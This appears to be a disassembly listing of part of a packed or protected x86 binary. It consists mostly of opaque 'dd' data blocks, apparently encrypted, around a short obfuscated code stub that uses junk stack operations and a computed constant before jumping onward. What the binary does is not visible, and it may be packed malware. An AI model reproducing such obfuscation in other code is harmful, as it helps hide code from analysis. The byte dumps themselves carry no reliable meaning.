		dd 123A01CFh, 25AD1CCCh, 99062890h, 8EF82BC6h, 6547A52h
		dd 1CFEF39h, 0CF87866Ah, 5CF08DEAh, 65B98AC9h, 92EC2490h
		dd 0A997B1C6h, 25045A62h, 6CB986D4h, 0F9B26E4Ch, 2AE16DD1h
		dd 7C2CA4ACh, 691861F2h, 0B6000000h, 0BA9CBCE9h, 0D1D3086Ch
		dd 50066541h, 1F3F6A35h, 73E34AC7h, 5994C340h, 8FC7C62Ah
		dd 9EA50FB7h, 7EBD190Fh, 6BC8A174h, 241CC95Ch, 69A31E07h
		dd 2C0D7D45h, 2879CA29h, 0AE8E99A6h, 368E734Fh,	40C69283h
		dd 8B050F8Bh, 0B961F22Dh, 121h,	0E44C6911h, 61C6928Fh
		dd 0D7360424h, 389D3506h, 0C6928FB0h, 570362B3h, 1F216A35h
		dd 0F7D62410h, 785C4BA6h, 0D0F6D63Dh, 1DE336FEh, 16C375E2h
		dd 0AF98E6C5h, 38075B63h, 0AC84CE10h, 0AD5AA92h, 271B5A57h
		dd 62EEF0D8h, 99B9EDB2h, 0A0096445h, 0C37507D3h, 0E0684E5Eh
		dd 116D715Bh, 30927A76h, 38318FA1h, 0B27A6CBDh,	0FFA850FAh
		dd 5F7A1AB3h, 0C37559E9h, 6D4899EAh, 5C4D738Ch,	0ECC9F1C9h
		dd 0C6922D04h, 1EEFCE1Fh, 0DB5303CDh, 0CAD8EB75h, 92962A6h
		dd 0A88BD435h, 9C36D715h, 0B87D8739h, 7D1A7CCCh, 6DB86698h
		dd 0B57D55A6h, 0A240288Dh, 7243C8A4h, 0E4D2DC33h, 66565DE2h
		dd 3462C907h, 865E9906h, 0B6927021h, 105225h, 0C80E3A00h
		dd 33133B00h, 3109361Dh, 3519301Fh, 34020C1Bh, 0A6FA8914h
		dd 0A18E4278h, 0A18E427Ah, 0BF844464h, 2287496Dh, 4A315A0h
		dd 75A0C699h, 56645205h, 3C65CAFAh, 80EF3E1Ch, 735AA096h
		dd 0EBCBDD30h, 0AEF1B965h, 26075B63h, 75E2FF41h, 48ABF4C3h
		dd 2FEE021Eh, 0FEB912A7h, 65B6C95Ch, 0A810A56Dh, 0ABC692FEh
		dd 52271B5Ah, 0C692FEE2h, 16D3F794h, 0FA390109h, 0F272B52Fh
		dd 0C19761h, 35D30000h,	0E2C0A80Dh, 0F2C3C375h,	6A4C5CB3h
		dd 0E9CDDF60h, 979B495h, 0F6D4F659h, 0F6241A8h,	12E73B03h
		dd 0C375E6A5h, 163A1C0Ch, 8C99A66Eh, 0E661D7ACh, 3E9BC375h
		dd 0C375E64Ah, 5EAF7849h, 0E6DFA174h, 8BD4C375h, 634345A8h
		dd 0A96C801Fh, 0F27B9421h, 2770C95Ch, 0FF9E5229h, 915FC2D7h
		dd 42EDCCB8h, 0B7046757h, 0D7C36C66h, 0BD8EAEF9h, 0E0486D15h
		dd 0E3C8A55Dh, 0B69D5392h, 1CCDB288h, 0C4702105h, 0F496F6Ch
		dd 0F5230000h, 0EA200FC1h, 0F23F04C4h, 0EE3906CAh, 0D3502CEh
		dd 3B203CDh, 0F55B63AFh, 0F55B63AEh, 0F35D7DAEh, 8E4264A4h
		dd 0BA0EAB3Bh, 0B9C69905h, 64521C4Ah, 7BADFA56h, 52D5F55Bh
		dd 3906547Ah, 3A01CFEFh, 0CAF8D30Dh, 4091E2C0h,	3B1B0D7Ah
		dd 0A8EAB815h, 959A3A90h, 5604264h, 3B93727Eh, 5C45219Eh
		dd 2857EFC9h, 90C63D9Ah, 0F33E8FEEh, 47298CD9h,	5CC69234h
		dd 8DDC2273h, 278C2DBCh, 0F2BEE7C5h, 62B71FFEh,	342EE1D9h
		dd 0EE52672Fh, 0E5C02CE9h, 9BE45994h, 14226C33h, 0BA84E7C6h
		dd 84CECF1Dh, 3957AE31h, 7A5AD2CAh, 0A990E544h,	0BB8479B4h
		dd 391D0C13h, 2DA984E5h, 0A2240A02h, 9569DFFAh,	196ACA36h
		dd 1F0916DAh, 0BC9B423Fh, 0CB676D93h, 0E7290h, 282E1A00h
		dd 13331B20h, 1129163Dh, 1539103Fh, 14226C3Bh, 86DAE934h
		dd 81AEA298h, 81AEA29Ah, 9FA4A484h, 2A7A98Dh, 0A837540h
		dd 9580C699h, 547A5225h, 82836906h, 1068EDC8h, 3C0DC95Dh
		dd 0F499572Ch, 2B16C7D2h, 7B53CCBAh, 13D0F6D4h,	0C8BBB3ADh
		dd 0B3F67A5Fh, 0BC8DC8BBh, 7DAF82D3h, 0DB240559h, 477DACF3h
		dd 321B6747h, 1A4C9DE1h, 0BBB3C9BFh, 0BAF9CAC8h, 0B303F144h
		dd 5675C8BBh, 3DB82830h, 0BD655C0Bh, 0BBBF9018h, 634293C8h
		dd 6A9Ah, 0EE022C00h, 0A412A72Fh, 93C95D30h, 0A468894Bh
		dd 9289AF11h, 35BA4C6h,	9ED1C6E5h, 7658A991h, 8FA6E14Eh
		dd 843217FBh, 0BD81D2D8h, 0E922116Ch, 80D1F5D7h, 0CDB306CEh
		dd 0C6C692B2h, 3CBB1FFCh, 0A5B5AF9h, 2E94252Bh,	0BBC692ABh
		dd 0B4834D91h, 7B6BB797h, 0C3CFF5D4h, 7546A7FBh, 0ABF0785Dh
		dd 0A2F3C692h, 0D750043h, 2560000h, 98A72FEEh, 7B52A8AEh
		dd 5967B238h, 5AC962C7h, 0DFFF2F70h, 9906961Ah,	735CADC6h
		dd 0CEEB935Bh, 0C699067Ah, 0E6CD2879h, 0E34880A6h, 1EB985A9h
		dd 0A3E54AD2h, 896EBF83h, 0C6990627h, 0C882D33Ch, 8E22B4EDh
		dd 7E50A1CCh, 452B8EB6h, 5EC8AC2Ah, 2AC0A80Dh, 485DC8ACh
		dd 6F4E9F68h, 0A790BF67h, 2F795497h, 527AC10Fh,	5B912E0Ch
		dd 0D08510BAh, 95C28537h, 2B3AD744h, 56F27611h,	0CF205h
		dd 0A8AE9A00h, 93B39BA0h, 91A996BDh, 95B990BFh,	94A2ECBBh
		dd 65A69B4h, 12E2218h, 12E221Ah, 1F242404h, 8227290Dh
		dd 0B03F5C0h, 1500C699h, 3C6A35A5h, 0FA7ADF1Eh,	3FC375E2h
		dd 0A7C1E5B1h, 4CE4826Ch, 5D4E6B63h, 1AC962AAh,	13A981C9h
		dd 17C792F4h, 7BC48EEDh, 74C30D51h, 932C7254h, 6E16B85Dh
		dd 2AB321D6h, 0D81B8491h, 0B0F2FA7Fh, 0F1AEFFCCh, 7025561Eh
		dd 747566C2h, 1400000Ch, 15222E28h, 103F1131h, 12391727h
		dd 6E351B3Bh, 0EF361A20h, 0A09680D8h, 0A09483A8h, 0AA8A83A8h
		dd 0AF8F99A6h, 734600A1h, 0C699088Dh, 52239786h, 3906547Ah
		dd 0D5F5D1EFh, 0B57A089h, 3B21A938h, 67D98AA9h,	0B7FED26Ah
		dd 0D8F98451h, 67F209Dh, 2A20000h, 12A72FEEh, 0C962C61Ch
		dd 18C08ADBh, 0ED311537h, 5A72A19Ch, 0FAA5274h,	0C69906B9h
		dd 60669BAh, 470FC520h,	7EC2D79Fh, 75C69906h, 6F94F24h
		dd 0EF73C699h, 5A77C6A3h, 0E8CB14E5h, 5FA38385h, 998A1A9Ah
		dd 0C11DFC6h, 0F7CEF55Ah, 998A5E22h, 3B0455C6h,	2FA786E7h
		dd 0EDF1D867h, 9C7DB891h, 0CCB17867h, 0C54E331Ch, 6D7023DBh
		dd 0BAD86D5h, 515F0000h, 4E5CEB65h, 6E5BE068h, 7255E26Eh
		dd 6951FE52h, 9FD6FF51h, 51FFDFCBh, 51FFDFCAh, 6FE1C1CAh
		dd 6AE6C8C0h, 0C6AA0F47h, 0DDC69909h, 7A52F8AEh, 0EF390654h
		dd 57AF87CFh, 0D166560Ch, 160DC6F1h, 1D8417CCh,	0F093E0DEh
		dd 3A52C2D6h, 0B67267D9h, 74000005h, 75E25CD8h,	0B25399C3h
		dd 0C6B9BD18h, 0ED3EC962h, 6C725AE5h, 4F7557FCh, 0C6277B43h
		dd 0E20EA9F5h, 5CE3AB23h, 35146A4Ch, 0F3DC11F6h, 0B860CCB1h
		dd 0A1F3AB1Dh, 1C5FA8C8h, 62A15EAFh, 6E702457h,	0B1189D2h
		dd 0CDFB0000h, 0D2F84789h, 0CAF75C8Ch, 0D6F15EF2h, 0C5CD5AF6h
		dd 3B4A5BF5h, 0CD033B67h, 0CD033B66h, 0CB052566h, 0C60A2C7Ch
		dd 62D6E3E3h, 61C69909h, 7A524432h, 0EF390654h,	0C180F3CFh
		dd 8A41D3B9h, 0ADF267D9h, 0AD165565h, 525h, 2FEE0239h
		dd 0C6AB12A7h, 57A0C962h, 0BFE8B77Fh, 57715C9Fh, 5A72D977h
		dd 0C5CD5274h, 0F548B6F5h, 0C699060Fh, 6F6726CAh, 56DAFFA7h
		dd 6DC69906h, 181C9515h, 9CEDABFFh, 0BB03F8A1h,	960CCB1h
		dd 8BE23800h, 1F50C5BAh, 0C0187024h, 0A769Bh, 2C2A1600h
		dd 1737173Ch, 15251239h, 193D6C3Bh, 183E6837h, 82D6ED30h
		dd 9DAAA694h, 9DAAA696h, 9BA0A888h, 0EA3ADB1h, 0E8F7144h
		dd 9984C699h, 0A80D3521h, 0C375E2C0h, 5CB3F2C3h, 2B146A4Ch
		dd 0B281DDE1h, 33ADB7D3h, 1167D98Ah, 485h, 0E257D855h
		dd 4EA2C375h, 0AEB2074Fh, 25C962C6h, 9CE2C0CAh,	0B2FB754Dh
		dd 1B8421C2h, 6DBF80CAh, 90B88749h, 0C860704Eh,	0D88581BAh
		dd 0EB3D0CA7h, 17D5E8CBh, 0CD1E2068h, 9BCB3085h, 0FFC8CCB1h
		dd 23FF1702h, 5C7FDB70h, 9DBh, 99B7878Dh, 96BA98B2h, 90B88089h
		dd 0ACBC808Bh, 0ADA39B87h, 0F1397100h, 0D3807C9h, 133807C9h
		dd 16361D33h, 39A91830h, 990E149Ch, 8AFC2FC6h, 882D7A52h
		dd 0C375E220h, 0BD81D223h, 26745A72h, 2A7DC282h, 0E2D2A673h
		dd 80D1C375h, 656574B7h, 0B2FFC5C7h, 0D55B48Ah,	989C354h
		dd 54F4C588h, 0D94ADD77h, 9311E67h, 0A19CED31h,	19CE4h
		dd 7A52EE00h, 6F4A7254h, 0C375E299h, 598D409Ah,	1D421FC6h
		dd 0A691F1CCh, 210E4066h, 0ACFDC1F9h, 8E48351h,	30854D05h
		dd 0C375C848h, 0B33B7A4Bh, 5CDA1966h, 0F1CD1EC9h, 18DC49E1h
		dd 2579414Eh, 18AEF2C4h, 0AD623801h, 2F78DE3Ch,	87E6C8C0h
		dd 92A95222h, 0E1C5C7C6h, 5664529Dh, 0BBDF8C08h, 9630DB77h
		dd 0F23F1282h, 423261h,	35B40000h, 30901D7Dh, 2E0D8F2Fh
		dd 16B85D93h, 5C1B2A83h, 7C063EC9h, 8A8FAB90h, 0DE2F9CDFh
		dd 0A458D080h, 52868359h, 229277B6h, 54C69D34h,	970913B7h
		dd 4461F0B8h, 0B288CCFBh, 0D9A3185Bh, 27000000h, 1D236A35h
		dd 83DF2808h, 24644BAAh, 35804802h, 0C375E243h,	62F7740h
		dd 0FA3847D7h, 8EF9C924h, 1B64BA80h, 34183331h,	1CB687E6h
		dd 0E9351933h, 5A62A980h, 0F0D8271Bh, 0F25F62EEh, 79C376D2h
		dd 0F8470F2Fh, 71BCF3D3h, 0D5107945h, 898C601Fh, 80AFF4C1h
		dd 5BA4C95Eh, 0BAE44B73h, 5051279Ch, 1F52C69Fh,	0FBD2280Ch
		dd 3C034BAAh, 5804C4F2h, 0ADF1D5F7h, 50289025h,	0DA2BC69Fh
		dd 5B47AA89h, 2504347Dh, 108DDEFEh, 6A3AF82Fh, 28005BF7h
		dd 0C0000008h, 0C16EE2D4h, 0DC6BE5C5h, 0DE65EBD3h, 0DA61EFCFh
		dd 5362EEECh, 74424C24h, 74404FD4h, 7E5E4FD4h, 634345D2h
		dd 2F8ADCEDh, 0C6990C59h, 357F2B5Ah, 0B9CBA47Dh, 6FB94007h
		dd 0D03F7E4Fh, 0D378D0E6h, 577BD5F9h, 2206A35h,	0A38EED3Ch
		dd 0E794569h, 6710381Eh, 22Dh, 2FEE02B3h, 0AFAF98A7h, 1EB3064Ch
		dd 9BC95D0Fh, 3381744Ah, 45C692CEh, 88180086h, 4461F262h
		dd 1E8h, 0E255D80Eh, 4CA0C375h,	0B6B40149h, 3DC962C6h
		dd 6D32FAECh, 0F8D71626h, 97A790D0h, 62DA8A46h,	0FD812D4Eh
		dd 0EFC2216Ah, 2A4599BDh, 0F3CDD9C6h, 41A8F6C6h, 0F2C32A70h
		dd 8E88FDD8h, 0BC8DCCB1h, 23F468FFh, 43183070h,	75Fh, 153B0309h
		dd 123E1C0Eh, 2C3C1C05h, 28200407h, 29271703h, 8DB5ED84h
		dd 89B4834Dh, 97B4834Dh, 9AB299B7h, 0BD1594B4h,	990D9018h
		dd 366093C6h, 6547A52h,	0BD03965Eh, 3FC375E2h, 8FD9ED7Ch
		dd 9DEEBF5Ah, 7559735Eh, 0B0D68529h, 3A163810h,	8177420Ah
		dd 82C3758Eh, 2DA772B1h, 1F67D922h, 138h, 547A52ABh, 0D5E52D72h
		dd 7D45A089h, 92341A32h, 7BBA9A8Dh, 13F2FEF5h, 93AB94BBh
		dd 42BF1A50h, 4EC95CF0h, 0B684A4E1h, 2FA71457h,	92EF268Ah
		dd 22E53DC6h, 3E4A0B4Ch, 1A60B182h, 92A3DDA7h, 0E6E0ABC6h
		dd 0F24962F2h, 316261h,	2640000h, 98A72FEEh, 551ACB2h
		dd 5CFEDFB0h, 14022DC9h, 2576C726h, 7BA689D9h, 0CF2E7F43h
		dd 92FE8A6Ah, 0AB2FFCC6h, 0F2722FA1h, 0A51D61h,	52A90000h
		dd 3906547Ah, 8AF5C9F1h, 115EBC82h, 8BD66E37h, 0C20D98D4h
		dd 4276FABFh, 7984C375h, 80636224h, 6B4E00D1h, 0C3756385h
		dd 137C4D9Eh, 0B53F9C3Dh, 62AAC376h, 0F9F78C5Ch, 3267B214h
		dd 37C95F59h, 5743ECE6h, 310D2D79h, 6FC78FD8h, 5F0371CAh
		dd 0D01C5F3Eh, 827F5F4Bh, 6A3A86B5h, 18F6E57Dh,	0F0000006h
		dd 0F15EF2C4h, 0CC5BF5D5h, 0CE55FBC3h, 0CA51FFDFh, 4352FEDCh
		dd 4327C34h, 4307FC4h, 0E2E7FC4h, 735375C2h, 0DFFAECDDh
		dd 0C6991269h, 524F3B6Ah, 0ADFA5664h, 0C9F55B7Bh, 3D013966h
		dd 52D991ECh, 3906547Ah, 9127C6EFh, 85702F1Ch, 22E394B4h
		dd 37000000h, 3236A35h,	0FBDBCD20h, 6E7058A7h, 0A224A710h
		dd 28200606h, 266Fh, 0AD98A700h, 397455A9h, 3F6A35A1h
		dd 0E2ED5366h, 95E6C375h, 20A6944h
		dd 961BDE3Ch, 41C375E2h, 7058E8EEh, 522EE26Eh, 20882D7Ah
		dd 23C375E2h, 22BD81D2h, 9D63B6CEh, 96C375E2h, 0AA527445h
		dd 79E76692h, 6B4AD762h, 6218F28Eh, 3E90E1C9h, 0C16E3711h
		dd 0B796E4C4h, 98260EF2h, 684D05C6h, 0C6982680h, 1061B283h
		dd 0C8EB86BEh, 0FD414FD8h, 0A3E5B2BEh, 0BEAF969Dh, 430FFFA4h
		dd 0A188D627h, 7F6D0A50h, 0B0E1349Eh, 0BDCC8FEBh, 0ECD57A6Ch
		dd 7AC591ECh, 10DC0C52h, 0C5F99A18h, 0A786639Eh, 38074048h
		dd 8068CD11h, 83C8AF33h, 0E5F7FACh, 2AC6E13Dh, 156636Bh
		dd 46C2862Eh, 3F03236Bh, 7E4394EEh, 90ED1688h, 1B97DA47h
		dd 0FF5B7612h, 4D6DCh, 4C8AB600h, 0B797B79Ch, 0B585B299h
		dd 0B99D8C9Bh, 0B89E8897h, 22760D90h, 3D0AC6F4h, 3D0AC6F6h
		dd 3B00C8E8h, 0AE03CD11h, 132F9124h, 0F924C699h, 547A5281h
		dd 597DAFF4h, 0D2123A05h, 0A28BD7E7h, 0F2790D51h, 725474D4h
		dd 8E57C9DEh, 4A7567D9h, 71000000h, 0C0A80D35h,	0C3C375E2h
		dd 0E00CB3F2h, 828A953Dh, 0E208F0C5h, 3A0BC375h, 0F5C08AE9h
		dd 0C95D3009h, 8A953D0Eh, 115EBC82h, 0E4C71028h, 7A4441EEh
		dd 0DA330F4Fh, 8C724789h, 15C692ACh, 163D1333h,	92C91535h
		dd 43Bh, 547A52C4h, 0CAE42D72h,	4E9FE3C3h, 0EDC8217Dh
		dd 5C62AA95h, 0BD18C08Ch, 0C375E2CBh, 1BCFFC8h,	0F8A02AEBh
		dd 0B99B0640h, 0FE3D0991h, 5C821C19h, 0F2C819C9h, 929DB50Fh
		dd 8E08C3C6h, 0F20B0A9Ah, 5B03CB61h, 92658A7Eh,	0FBB889C6h
		dd 0C6926575h, 5FE3D0Eh, 33h, 2FEE0241h, 56DAFFA7h, 6DC375E2h
		dd 0ED95211Ch, 59CBD455h, 0DB1A3C32h, 5CF79D7Eh, 75499AC9h
		dd 92C73480h, 18942C6h,	0F269891Bh, 0FDBB61h, 520F0000h
		dd 62404A7Ah, 0B596B911h, 0EE694995h, 479F7749h, 2B1756A7h
		dd 96E4D2DCh, 0CDB306CEh, 0C6C375F2h, 715BB6F5h, 0E626116Dh
		dd 491CEDEh, 0C375F2BCh, 0C41566B7h, 3AAA82h, 5E446605h
		dd 22DD11Fh, 6DCA2909h,	0C3755C90h, 0DBFBD37Ch,	6847A687h
		dd 2321E20h, 0EDC8E83Dh, 5AA08686h, 0DDFD250Ah,	4A56A881h
		dd 0E3C51D2Eh, 41AFD211h, 0E6AF0A5Ch, 0AC95C9Ch, 0FAC0E025h
		dd 92E35093h, 6A2BC1BEh, 0F14A5560h, 0A9F6CCB8h, 0FC9F557Ch
		dd 0EC2FE2AEh, 4770BF83h, 9AC2677h, 0C8A416A7h,	0A31053BCh
		dd 297A5C4Ch, 0AA909EA1h, 0A99199A6h, 223A7BF4h, 0FCDF7B70h
		dd 2F7h, 0BD93AB91h, 0BA96B496h, 0B494A4EDh, 0B098BCEFh
		dd 0B19FBFEBh, 151D556Ch, 111C2B25h, 0F1C2B25h,	321A212Fh
		dd 0C58D3C2Ch, 991108F0h, 0AE180BC6h, 4D5F6452h, 0CB0E866h
		dd 745873BEh, 0E1E252Bh, 35602028h, 18013F6Ah, 0A28BD720h
		dd 0F3B03C43h, 49A9F5D9h, 0A241DC04h, 78499AACh, 67EA4356h
		dd 0A887C95Ch, 28015D61h, 7DA8F7DFh, 0C9240559h, 57B004F9h
		dd 5C6C692h, 0DA059F85h, 693661F1h, 0EF3E1C3Ch,	0BA378Ch
		dd 80AF0000h, 1149A48Ah, 6547A52h, 0CEC0F139h, 85DD8151h
		dd 95E9CDDFh, 7046BB4h,	3588D627h, 0C3758648h, 0FDD5F9D3h
		dd 35D67D35h, 4A9F7A77h, 75331BEDh, 0ECCF18C3h,	0EDF1DB60h
		dd 5FAF691h, 0CBEB221Ch, 7445A4FAh, 20CE4752h, 5AABC95Ch
		dd 12F3F9F6h, 90B497B8h, 4A00634Ah, 0B86A516Fh,	597142CCh
		dd 0B3F2C8F6h, 2C2A143Bh, 132B173Ch, 21CCFF6Eh,	0C4FEB70h
		dd 1F3h, 0A1AFAF95h, 0BE92B09Ah, 0B890A891h, 0B494B893h
		dd 0B59BA3EFh, 19015968h, 15002F21h, 0B002F21h,	0E1E252Bh
		dd 0C1812028h, 99160CF4h, 0A21407C6h, 2206A35h,	0A38EED3Ch
		dd 0A2894777h, 0C484446Ah, 6547A52h, 0BD03965Eh, 0B6C375E2h
		dd 0E12B0665h, 0E42473DDh, 0DE3FCC2h, 0F2734608h, 0FFC95CF8h
		dd 0BF2C50AEh, 0BF9F891Bh, 7716DA91h, 9D88975Fh, 509D7AB9h
		dd 5CCBA1Fh, 8F99E634h,	0E5E453AFh, 34D917E5h, 34CA0792h
		dd 0AE56C293h, 0C086A50Bh, 656DBED2h, 0C086E850h, 5B9AEBD2h
		dd 63D5E0EAh, 60D2C086h, 0A38CC617h, 15744A6Ah,	1B0D1AD6h
		dd 88A8FD42h, 0C086452Bh, 3C0D5ED2h, 94B491DEh,	11386D32h
		dd 0BF6E0657h, 0DE3C0D4Ch, 2E52AC8Fh, 9D8F1DBDh, 485D7BA7h
		dd 2CE1F68h, 0B0988765h, 64B599B0h, 0AFBA1012h,	11627A72h
		dd 5BEB1CB9h, 0B179D8E9h, 0E95B9C64h, 674697D4h, 6F6F5B96h
		dd 95E93A13h, 43B175CDh, 0CD04E77Ch, 0B985B5E2h, 0EE3E1550h
		dd 1DCEF2C8h, 3580487Dh, 0D4E94443h, 0E02E65C9h, 3E8FDE4Dh
		dd 0FDF38EEDh, 0E263B618h, 8FDEC0F2h, 17D592BEh, 0C2C6AA0Fh
		dd 4B43DEF6h, 74579A6Bh, 0D2230A50h, 7E60B588h,	5DAE9C40h
		dd 0D218A075h, 4A9BD4E1h, 3D010B74h, 60C8ED95h,	0EAE01A1Bh
		dd 4C56DD8Dh, 3001D207h, 0E8B77FF5h, 6B4298BEh,	0E13D1904h
		dd 4646AD88h, 0C4C16E60h, 3CB0389Dh, 62B3E01Ah,	0EAFCCD11h
		dd 1A3C79CFh, 0CA297AE0h, 0F30201F4h, 8DF1F3D8h, 754969A2h
		dd 86D914h, 8A4668A0h, 774B6BBDh, 0B198A76Fh, 0CB60C8ADh
		dd 3F9AF3C4h, 0F3C4CB49h, 26A8794Ah, 0C4CB2D93h, 84D526F3h
		dd 6A434AA9h, 9F4C787Fh, 76449538h, 53F19942h, 0CBFB5579h
		dd 25002664h, 0A2F8DECEh, 0A39h, 0FAD27D00h, 44A786D4h
		dd 526F2312h, 3D0A5066h, 88F7CBEBh, 105FA383h, 0E2CD1125h
		dd 4FB886B4h, 0D8277B43h, 0A691EDF1h, 327D4179h, 2E43A18h
		dd 53E18951h, 4BBh, 5BD90100h, 8704E983h, 685C240Ch, 4773h
		db 89h,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		push	2A9948F1h
		pop	edx
		shr	edx, 8
		add	edx, 0AD34B6Bh
		shl	edx, 7
		xor	edx, 7B1EBD63h
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	eax
		mov	eax, 8
		add	eax, edi
		mov	[eax], esi
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_545FF7
; ---------------------------------------------------------------------------
		db 83h
		dd 8F39E9B7h, 0DFB82AFCh, 305ECF6h, 15E0FFC5h, 0A073485Eh
		dd 0F3AE4F8h, 4C760D16h, 8E02624Ah, 27216E13h, 0E3255B04h
		dd 9B4AA0ADh, 0FB71B099h, 946EFAD1h, 2E7A1BDEh,	7471105Bh
		dd 0AF68AF77h, 5549F8BAh, 68366BB3h, 29250870h,	0D23CF358h
		dd 604FADC6h, 3B5B340Fh, 2D661162h, 0AC394927h,	0C32B080Ch
		dd 3D11017Eh, 8A16059Fh, 0A860DF5Ah, 0CF14B23Fh, 8A3443FEh
		dd 0C21108CCh, 49017555h, 58668D76h, 6748352Ch,	8D442326h
		dd 0ECF8D48Dh, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 1E565F98h, 8A12C9BDh
		dd 89F88BD7h, 0E723158Dh, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 8DB8663Eh
		dd 0B985C724h, 6405E708h, 5700005Dh, 85C75FF9h,	5E70C99h
		dd 0
		dd 119D8B60h, 0E805E705h, 6, 3414B397h,	616004EAh, 0B5FF6159h
		dd 5E72B19h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	4C35343h, 74BA663Ch, 0CD95FFF6h, 6A05E732h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0F5B3C351h, 8DF97D91h, 0D18B6017h, 6A61F5h, 1A1D95FFh
		dd 0C08B05E7h, 0E4A10CEBh, 6623A1ADh, 6405607Ch, 8EB05D7h
		dd 3621EFC3h, 2410000h,	0CF1E9h, 0FAE46800h, 38E905ECh
		dd 68FFFB4Ch, 5ECFC1Dh,	0FB4C2EE9h, 0FDFF68FFh,	24E905ECh
		dd 68FFFB4Ch, 5ECFEC6h,	0FB4C1AE9h, 0FFFA68FFh,	10E905ECh
		dd 68FFFB4Ch, 5ED01C5h,	0FB4C06E9h, 25868FFh, 0FCE905EDh
		dd 68FFFB4Bh, 5ED0370h,	0FB4BF2E9h, 4A268FFh, 0E8E905EDh
		dd 5FFFB4Bh, 0EEDA2304h, 49BF8455h, 10107DB6h, 0FCF4D10Eh
		dd 33AAB368h, 0D0091386h, 0B66BFDCBh, 6EC75BADh, 0C51A2305h
		dd 88C5E6F8h, 351A8972h, 4B9CB9D9h, 0E5437DB2h,	14A68F60h
		dd 0D228A5F6h, 7930F670h, 28460FFEh, 8330F670h,	0D5FE41A8h
		dd 36DD7DEEh, 6DC659AFh, 4C3FE853h, 1002CBE5h, 2635117Dh
		dd 694A911Dh, 98C69817h, 1B2107B1h, 921B6CEh, 8B6733F9h
		dd 8756297Bh, 117CB0CEh, 0ABD01B35h, 35117C57h,	0C6D475FCh
		dd 7400B28Bh, 4E78h, 0FF1D1F00h, 70CB27ACh, 516030F6h
		dd 0F6700664h, 0BB82AD30h, 95E4D150h, 0DC36DD8Ch, 0D3E57588h
		dd 9E1D8E69h, 0EC7A321Dh, 0F19610CBh, 3196F180h, 0CC9E34Ah
		dd 35113A12h, 166C9A76h, 3655E82h, 2BFC14FCh, 0FFDC044Fh
		dd 0FCE373h, 4BE60000h,	0FE8A7DB2h, 7C4A499h, 0F28207EBh
		dd 0A1DB1014h, 9A6DC25Bh, 6DEDF50Eh, 0F6570A60h, 0F2B6A130h
		dd 0DFEDBDEDh, 0B4F583A8h, 8113B4E1h, 9952EA3Eh, 0C8253800h
		dd 5E4FFAE3h, 7A8330F6h, 0D6CB8BF8h, 1FADBCADh,	0B49649CBh
		dd 40ADB4C5h, 6800DD60h, 9A6DA6C4h, 0DD8B6E31h,	19912736h
		dd 23264457h, 333A6126h, 0A16A882Ah, 68BC0FDEh,	215D06D3h
		dd 8A351199h, 61ADE6A3h, 2A3307F3h, 0DFE94ADEh,	61C8B314h
		dd 1BA10A9Eh, 3FCC3FFCh, 2470C36Ah, 964BDC26h, 9D0A15DEh
		dd 8978B14Bh, 0D46FABB3h, 0BB826D07h, 59E3C5EEh, 837E0080h
		dd 25BFD992h, 0A57BAh, 5D9AAF00h, 3EEB7070h, 974CD3D5h
		dd 4BA4BA8Eh, 2DFE0662h, 0A51C8DC0h, 7614A9Fh, 0EDDB2001h
		dd 0B5B3985Dh, 7C167FB0h, 8A08666Fh, 2FA3351Ah,	78B14B72h
		dd 9B049013h, 66B7C604h, 71AAB1B7h, 0A07D80A8h,	0FACE065Bh
		dd 37F08861h, 31FA1892h, 8CFA054Eh, 985336DDh, 17D5629h
		dd 0AA35116Ch, 0D77E0683h, 35116C67h, 5A12CF51h, 0FB97E8Ch
		dd 0FE40C024h, 35FEB667h, 0B2B4922Ah, 15F8437Dh, 9B3FFD0Dh
		dd 67EA7F8Fh, 1C74009Eh, 10Dh, 0E5B24B43h, 7D65AD7h, 1C59DA59h
		dd 30F660DEh, 99D31010h, 0DD240F5Eh, 0D9F85E6Ah, 0F28A5FE5h
		dd 4E177309h, 4E2B217h,	34912B00h, 30F6F17Dh, 6A73ACB1h
		dd 9ED6071Eh, 0B437FC1Eh, 0F092E8E5h, 861C30F6h, 2559DB41h
		dd 7A2F0659h, 6B57FAD3h, 77FE36DDh, 4E9BA0F4h, 6B5CCD36h
		dd 67BC4C98h, 7F86E24Dh, 6381F9AEh, 7206D9A8h, 3F04CC59h
		dd 396A3FFCh, 330721E4h, 1D08B349h, 0D3538E55h,	46622A62h
		dd 0B1B73FB7h, 996873ACh, 0B46DF2C6h, 0FF37CD13h, 5D92AB67h
		dd 26026B72h, 4D5BCD1Eh, 8ED99372h, 91E6DF6h, 0D3560000h
		dd 243F0912h, 859AEEF7h, 0DD6147ACh, 37CD3B00h,	55C299E2h
		dd 3A03D86Ch, 9CF93ACEh, 74519694h, 2F34E97Ch, 43BF14B7h
		dd 0E8351A8Ch, 7FCEABE6h, 0F6701856h, 0EFB8B330h, 50CB43D9h
		dd 6F83C884h, 0C430F63Eh, 92815F6Dh, 1A52879Ch,	1CEFF6D1h
		dd 61E535C8h, 200BF48Ch, 0C9FAAF88h, 0AC8966FFh, 7DB24B2Fh
		dd 8F60E543h, 0A606D3Ch, 4130F670h, 0F670F674h,	0F3925D30h
		dd 0F486AF78h, 7FFF00D6h, 0B5F4B1A9h, 12AAB581h, 7C292174h
		dd 87EEF2EEh, 7D44A1A1h, 0BDA6C18Ah, 1CEF36DDh,	115D3BB7h
		dd 0C6449035h, 2EA70661h, 35115DD0h, 6457F07Bh,	84D0B3CDh
		dd 0EBFDAA7Fh, 0B0B09D52h, 9D3870ADh, 0BDDBBE7Eh, 28F70713h
		dd 0F5F3D815h, 5805BF70h, 0B2577EDDh, 0F9CB7B47h, 0C85E98A3h
